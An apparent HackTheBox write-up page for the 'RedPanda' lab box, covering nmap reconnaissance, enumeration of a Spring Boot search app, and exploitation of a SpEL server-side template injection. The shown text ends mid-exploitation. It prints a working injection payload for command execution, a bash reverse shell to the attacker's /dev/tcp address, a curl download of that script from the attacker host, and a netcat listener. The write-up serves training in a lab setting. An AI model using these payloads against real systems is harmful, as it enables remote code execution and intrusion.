-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathredpanda.html
More file actions
312 lines (276 loc) · 102 KB
/
Copy pathredpanda.html
File metadata and controls
312 lines (276 loc) · 102 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- iOS Safari -->
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
<!-- Chrome, Firefox OS and Opera Status Bar Color -->
<meta name="theme-color" content="#FFFFFF">
<link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.11.1/katex.min.css">
<link rel="stylesheet" type="text/css"
href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.19.0/themes/prism.min.css">
<link rel="stylesheet" type="text/css" href="css/SourceSansPro.css">
<link rel="stylesheet" type="text/css" href="css/theme.css">
<link rel="stylesheet" type="text/css" href="css/notablog.css">
<!-- Favicon -->
<link rel="shortcut icon" href="https://www.notion.so/signed/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Faf7d66d0-6402-4a6f-b9f5-00d2eb9e3482%2Fhackerman.gif?table=collection&id=92e319e1-0c5e-49c7-adc1-7d48fe74e022">
<style>
:root {
font-size: 20px;
}
</style>
<title>RedPanda - HackTheBox Writeup (10.10.11.170) | samiko@127.0.0.1~$</title>
<meta property="og:type" content="blog">
<meta property="og:title" content="RedPanda - HackTheBox Writeup (10.10.11.170)">
<meta name="description" content="Easy-difficulty Linux box on exploiting a server-side template injection vulnerability in a Spring Boot web application, then a not-so-easy privilege escalation involving an XML external entity injection vulnerability in a custom view counter script.">
<meta property="og:description" content="Easy-difficulty Linux box on exploiting a server-side template injection vulnerability in a Spring Boot web application, then a not-so-easy privilege escalation involving an XML external entity injection vulnerability in a custom view counter script.">
<meta property="og:image" content="https://www.hackthebox.com/storage/avatars/0ba23d9bbfea967268e284e85e0837ff.png">
<style>
.DateTagBar {
margin-top: 1.0rem;
}
</style>
</head>
<body>
<nav class="Navbar">
<a href="/">
<div class="Navbar__Btn">
<span><img class="inline-img-icon" src="https://www.notion.so/signed/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Faf7d66d0-6402-4a6f-b9f5-00d2eb9e3482%2Fhackerman.gif?table=collection&id=92e319e1-0c5e-49c7-adc1-7d48fe74e022"></span>
<span>Home</span>
</div>
</a>
</nav>
<header class="Header">
<div class="Header__Spacer Header__Spacer--NoCover">
</div>
<div class="Header__Icon">
<span><img class="inline-img-icon" src="https://www.hackthebox.com/storage/avatars/0ba23d9bbfea967268e284e85e0837ff.png"></span>
</div>
<h1 class="Header__Title">RedPanda - HackTheBox Writeup (10.10.11.170)</h1>
<div class="DateTagBar">
<span class="DateTagBar__Item DateTagBar__Date">Posted on Fri, Jan 20, 2023</span>
<span class="DateTagBar__Item DateTagBar__Tag DateTagBar__Tag--green">
<a href="tag/Easy">Easy</a>
</span>
<span class="DateTagBar__Item DateTagBar__Tag DateTagBar__Tag--orange">
<a href="tag/Linux">Linux</a>
</span>
<span class="DateTagBar__Item DateTagBar__Tag DateTagBar__Tag--red">
<a href="tag/Web_Application">Web Application</a>
</span>
<span class="DateTagBar__Item DateTagBar__Tag DateTagBar__Tag--blue">
<a href="tag/Server-side_Template_Injection">Server-side Template Injection</a>
</span>
<span class="DateTagBar__Item DateTagBar__Tag DateTagBar__Tag--gray">
<a href="tag/XXE_Injection">XXE Injection</a>
</span>
</div>
<div>
Easy-difficulty Linux box on exploiting a server-side template injection vulnerability in a Spring Boot web application, then a not-so-easy privilege escalation involving an XML external entity injection vulnerability in a custom view counter script.
</div>
</header>
<article id="https://www.notion.so/97389beea15a4c3bab296c32f74d0ce7" class="PageRoot PageRoot--FullWidth"><h2 id="https://www.notion.so/301ca976776f4ad9a939a984c0c7b5b4" class="ColorfulBlock ColorfulBlock--ColorDefault Heading Heading--2"><a class="Anchor" href="#https://www.notion.so/301ca976776f4ad9a939a984c0c7b5b4"><svg width="16" height="16" viewBox="0 0 16 16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><span class="SemanticStringArray"><span class="SemanticString">Preface</span></span></h2><div id="https://www.notion.so/afa6488c537247e6addf1fb015bec21f" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Trying to escalate privileges on this box gave me a headache, but it’s good to be doing a box that isn’t always so straight forward and actually requires some thinking.</span></span></p></div><h2 id="https://www.notion.so/8d7529f47c014dbdad951bb50445c940" class="ColorfulBlock ColorfulBlock--ColorDefault Heading Heading--2"><a class="Anchor" href="#https://www.notion.so/8d7529f47c014dbdad951bb50445c940"><svg width="16" height="16" viewBox="0 0 16 16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><span class="SemanticStringArray"><span class="SemanticString">Reconnaissance</span></span></h2><div id="https://www.notion.so/e3a81b616f894b9dad9cc3abba8b21ce" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Before we start, let’s add the target IP and hostname to our </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">hosts</code></span><span class="SemanticString"> file:</span></span></p></div><div id="https://www.notion.so/ea0edaf4159a4b7fafb3b57669ee4ee6" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$ sudo nano /etc/hosts</code></span></span></p></div><pre id="https://www.notion.so/3850daa2d2534b55ba20c22272753ae4" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span>10.10.11.170 redpanda.htb</span></span></span></code></pre><div id="https://www.notion.so/131eb4fd3c9d4c57842ac251e0dddf1b" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">We perform a simple port scan to see what services are running on the target.</span></span></p></div><div id="https://www.notion.so/898af983d4874f4ca2276717f9a56608" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$ nmap -p- redpanda.htb | tee ports-tcp.nmap</code></span></span></p></div><pre id="https://www.notion.so/34fef69dc88c4adbba3e565d3dcc1780" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span>Nmap scan report for redpanda.htb (10.10.11.170)
Host is up (0.026s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds</span></span></span></code></pre><div id="https://www.notion.so/407e7ab793d94708a28634de092f22f8" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">We see that there are only two services externally facing on our target, standard SSH on port 22 and a web server on port 8080. Let’s probe further with a script scan and enumerate versions:</span></span></p></div><div id="https://www.notion.so/fc5885e6f2c942b9aa19c6b3f35e035f" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$ nmap -sC -sV -p 22,8080 redpanda.htb | tee targeted-tcp.nmap</code></span></span></p></div><pre id="https://www.notion.so/930d790859a042be9ff0a4dd265d2a07" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span>Nmap scan report for redpanda.htb (10.10.11.170)
Host is up (0.026s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http-proxy
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=UTF-8
| Content-Language: en-US
| Date: Sun, 24 Jul 2022 11:09:44 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en" dir="ltr">
| <head>
| <meta charset="utf-8">
| <meta author="wooden_k">
| <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
| <link rel="stylesheet" href="css/panda.css" type="text/css">
| <link rel="stylesheet" href="css/main.css" type="text/css">
| <title>Red Panda Search | Made with Spring Boot</title>
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET,HEAD,OPTIONS
| Content-Length: 0
| Date: Sun, 24 Jul 2022 11:09:44 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Sun, 24 Jul 2022 11:09:44 GMT
| Connection: close
|_http-title: Red Panda Search | Made with Spring Boot
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.36 seconds</span></span></span></code></pre><h2 id="https://www.notion.so/a89438ccee3044d29e4e77d179dd7702" class="ColorfulBlock ColorfulBlock--ColorDefault Heading Heading--2"><a class="Anchor" href="#https://www.notion.so/a89438ccee3044d29e4e77d179dd7702"><svg width="16" height="16" viewBox="0 0 16 16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><span class="SemanticStringArray"><span class="SemanticString">Enumeration</span></span></h2><div id="https://www.notion.so/fc9951862dd54e3cb7cad83878444373" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">We begin our enumeration by exploring the web application. Navigating to the site, we see a basic database search utility with a red panda theme:</span></span></p></div><div id="https://www.notion.so/26beb8489a01415eb7f49f508cce73f0" class="Image Image--Normal"><figure><a href="https://www.notion.so/signed/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F9c5469ba-7390-46a4-b9b7-fcaeaeb04739%2FUntitled.png?width=576&table=block&id=26beb848-9a01-415e-b7f4-9f508cce73f0"><img src="https://www.notion.so/signed/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F9c5469ba-7390-46a4-b9b7-fcaeaeb04739%2FUntitled.png?width=576&table=block&id=26beb848-9a01-415e-b7f4-9f508cce73f0" style="width:576px"/></a><figcaption><span class="SemanticStringArray"></span></figcaption></figure></div><div id="https://www.notion.so/cf7bf3f1fd0541b4b96c596888bba40b" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">As expected, searching with a string returns red pandas with the name matching the string:</span></span></p></div><div id="https://www.notion.so/f95dd02e45cf4421a1403388bb13918c" class="Image Image--Normal"><figure><a href="https://www.notion.so/signed/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F47961acd-4395-4e45-adc7-6019496fd84c%2FUntitled.png?width=576&table=block&id=f95dd02e-45cf-4421-a140-3388bb13918c"><img src="https://www.notion.so/signed/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F47961acd-4395-4e45-adc7-6019496fd84c%2FUntitled.png?width=576&table=block&id=f95dd02e-45cf-4421-a140-3388bb13918c" style="width:576px"/></a><figcaption><span class="SemanticStringArray"></span></figcaption></figure></div><div id="https://www.notion.so/ea029b1fb11e417ba08cdf8fbdec0d36" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">There are also profiles for two entry authors, </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">woodenk</code></span><span class="SemanticString"> and </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">damian</code></span><span class="SemanticString">:</span></span></p></div><div id="https://www.notion.so/8d79b5f588ae4fa69deb802973fbfeea" class="Image Image--Normal"><figure><a href="https://www.notion.so/signed/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fa8f090cc-4398-48b0-adc5-11742c8a5292%2FUntitled.png?width=624&table=block&id=8d79b5f5-88ae-4fa6-9deb-802973fbfeea"><img src="https://www.notion.so/signed/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fa8f090cc-4398-48b0-adc5-11742c8a5292%2FUntitled.png?width=624&table=block&id=8d79b5f5-88ae-4fa6-9deb-802973fbfeea" style="width:624px"/></a><figcaption><span class="SemanticStringArray"></span></figcaption></figure></div><div id="https://www.notion.so/23c3cedaebd44343b4314daf7dd8b667" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Clicking “Export Table” produces an XML file of the following format:</span></span></p></div><pre id="https://www.notion.so/30b895ba648442c7b69ff14829e8c588" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span><span class="token prolog"><?xml version="1.0" encoding="UTF-8"?></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>credits</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>author</span><span class="token punctuation">></span></span>woodenk<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>author</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>image</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>uri</span><span class="token punctuation">></span></span>/img/greg.jpg<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>uri</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>views</span><span class="token punctuation">></span></span>3<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>views</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>image</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>image</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>uri</span><span class="token punctuation">></span></span>/img/hungy.jpg<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>uri</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>views</span><span class="token punctuation">></span></span>2<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>views</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>image</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>image</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>uri</span><span class="token punctuation">></span></span>/img/smooch.jpg<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>uri</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>views</span><span class="token punctuation">></span></span>1<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>views</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>image</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>image</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>uri</span><span class="token punctuation">></span></span>/img/smiley.jpg<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>uri</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>views</span><span class="token punctuation">></span></span>1<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>views</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>image</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>totalviews</span><span class="token punctuation">></span></span>7<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>totalviews</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>credits</span><span class="token punctuation">></span></span></span></span></span></code></pre><div id="https://www.notion.so/ba024333d7e645fd8f89764917bef259" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Which immediately makes me think we may need to perform some kind of XML exploitation later on when we have write access to the database, perhaps an XXE injection. The site also writes:</span></span></p></div><pre id="https://www.notion.so/a056c2e737534cc3acdb476b7610e310" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span>With every view an author gets for their red panda image, they are awarded with 1 creditpoint. These eventually lead up to a bigger payout bonus for their content</span></span></span></code></pre><div id="https://www.notion.so/63a1dd6515254e94a4e7f9f803a48853" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">We will keep the two author’s names in mind as they may be users on the machine.</span></span></p></div><h2 id="https://www.notion.so/82252bd045cb44a08b94bddb9889d1b9" class="ColorfulBlock ColorfulBlock--ColorDefault Heading Heading--2"><a class="Anchor" href="#https://www.notion.so/82252bd045cb44a08b94bddb9889d1b9"><svg width="16" height="16" viewBox="0 0 16 16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><span class="SemanticStringArray"><span class="SemanticString">Exploitation</span></span></h2><div id="https://www.notion.so/127e5c19ec5c4a7f82f7ac6b5e625fff" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">After trying the usual checklist of injection tests on the search box, I was unable to find any indication that it would be vulnerable to SQL injection, Server-Side Template Injection, or XSS.</span></span></p></div><div id="https://www.notion.so/fb9826117c8b4c93949400c99e4d59c3" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Then, I realised that the website title has the words “Made with Spring Boot”, so I tried to find attacks specific to Spring Boot and stumbled on this:</span></span></p></div><div id="https://www.notion.so/6a36345546e74b1eb6177216d473a9ea" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">#{7*7}</code></span></span></p></div><div id="https://www.notion.so/c1c06c4896ea4dba93e599ead7deff95" class="Image Image--Normal"><figure><a href="https://www.notion.so/signed/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fb70fedaf-7f7e-4344-9bd2-41e1fe744fad%2FUntitled.png?width=658&table=block&id=c1c06c48-96ea-4dba-93e5-99ead7deff95"><img src="https://www.notion.so/signed/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fb70fedaf-7f7e-4344-9bd2-41e1fe744fad%2FUntitled.png?width=658&table=block&id=c1c06c48-96ea-4dba-93e5-99ead7deff95" style="width:658px"/></a><figcaption><span class="SemanticStringArray"></span></figcaption></figure></div><div id="https://www.notion.so/2470679ca7c749638f70002439975b7a" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Looks like it is vulnerable to SSTI after all! The reason I missed it before is because Spring’s Expression Language (EL) uses different syntax for templating, than the usual Jinja or Twig. SpringEL uses the following:</span></span></p></div><ul class="BulletedListWrapper"><li id="https://www.notion.so/805b1ada3a1841dfb1c23f2d351a8497" class="BulletedList"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">${...}</code></span><span class="SemanticString">: Variable expressions – in practice, these are OGNL expressions.</span></span></li><li id="https://www.notion.so/037ea84947694d55882cdd5daab573cd" class="BulletedList"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">*{...}</code></span><span class="SemanticString">: Selection expressions – similar to variable expressions but used for specific purposes.</span></span></li><li id="https://www.notion.so/178688b37ea34d68b7855ce1edfb11fe" class="BulletedList"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">#{...}</code></span><span class="SemanticString">: Message (i18n) expressions – used for internationalization.</span></span></li><li id="https://www.notion.so/9bc1c705f1a841c3bc45f526990c716e" class="BulletedList"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">@{...}</code></span><span class="SemanticString">: Link (URL) expressions – used to set correct URLs/paths in the application.</span></span></li><li id="https://www.notion.so/631edc5f14bb4db59d8cbcefcdb49d2f" class="BulletedList"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">~{...}</code></span><span class="SemanticString">: Fragment expressions – they let you reuse parts of templates.</span></span></li></ul><div id="https://www.notion.so/2fdd9313b4584caa933326904fa56eec" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Usually, variable expressions are what we are after in an SSTI attack, but the </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$</code></span><span class="SemanticString"> character has been blacklisted by the application. Luckily, we can still use selection expressions to do the job:</span></span></p></div><div id="https://www.notion.so/2b841a7a39b5450798b0e1c60f227ca5" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">*{T(java.lang.Runtime).getRuntime().exec('whoami')}</code></span></span></p></div><div id="https://www.notion.so/d10051b48c3e482a8a2aed2885f70f8a" class="Image Image--Normal"><figure><a href="https://www.notion.so/signed/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F8ba8e11f-69b3-481c-8763-aae60d9b9bee%2FUntitled.png?width=624&table=block&id=d10051b4-8c3e-482a-8a2a-ed2885f70f8a"><img src="https://www.notion.so/signed/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F8ba8e11f-69b3-481c-8763-aae60d9b9bee%2FUntitled.png?width=624&table=block&id=d10051b4-8c3e-482a-8a2a-ed2885f70f8a" style="width:624px"/></a><figcaption><span class="SemanticStringArray"></span></figcaption></figure></div><div id="https://www.notion.so/21173249c1394d2e81d33c04c3d30ec1" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Great! We are able to gain command execution. Let’s create a simple reverse shell script and exploit this further.</span></span></p></div><div id="https://www.notion.so/e72d41e51f194e78bc1e16b00d8b7a25" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">rev.sh</code></span><span class="SemanticString">:</span></span></p></div><pre id="https://www.notion.so/952d149e7af64249b107b97cef1f11d2" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span><span class="token shebang important">#!/bin/bash</span>
/bin/bash <span class="token parameter variable">-c</span> <span class="token string">'/bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1'</span></span></span></span></code></pre><div id="https://www.notion.so/439cceaba2064aea94d48de7a1b86d33" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Next, we will host this on a temporary HTTP server for the victim machine to retrieve from:</span></span></p></div><div id="https://www.notion.so/d316858daae744ba8beebd3413c3ce5a" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$ python -m http.server 8888</code></span></span></p></div><div id="https://www.notion.so/1923cf74e43c4c079a27f2f6a2af5918" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Then, we will supply the following search string to trigger the download:</span></span></p></div><div id="https://www.notion.so/d7630ffef40c433ab30c4a6b8bed599b" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">*{T(java.lang.Runtime).getRuntime().exec('curl http://10.10.14.38:8888/rev.sh -o rev.sh')}</code></span></span></p></div><pre id="https://www.notion.so/f6654baad70942a2ac8981d3ac7cab3a" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span><span class="token number">10.10</span>.11.170 - - <span class="token punctuation">[</span><span class="token number">27</span>/Aug/2022 <span class="token number">23</span>:18:56<span class="token punctuation">]</span> <span class="token string">"GET /rev.sh HTTP/1.1"</span> <span class="token number">200</span> -</span></span></span></code></pre><div id="https://www.notion.so/ed1db071f43643fa94594f9a708ab8b5" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">We see a request logged on our HTTP server. Assuming the download was successful and the file was written correctly, we can now spawn the reverse shell by executing the script. Let’s start a listener on port 7777:</span></span></p></div><div id="https://www.notion.so/0d55732e833e42568269d3369e874ed7" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$ nc -lvnp 7777</code></span></span></p></div><div id="https://www.notion.so/9ad6d5862e2743b1ac9febb21035ea0d" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Then, we supply the search string:</span></span></p></div><div id="https://www.notion.so/320f7081545d49d3bc25df5e8440ced0" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">{T(java.lang.Runtime).getRuntime().exec('bash rev.sh')}</code></span></span></p></div><pre 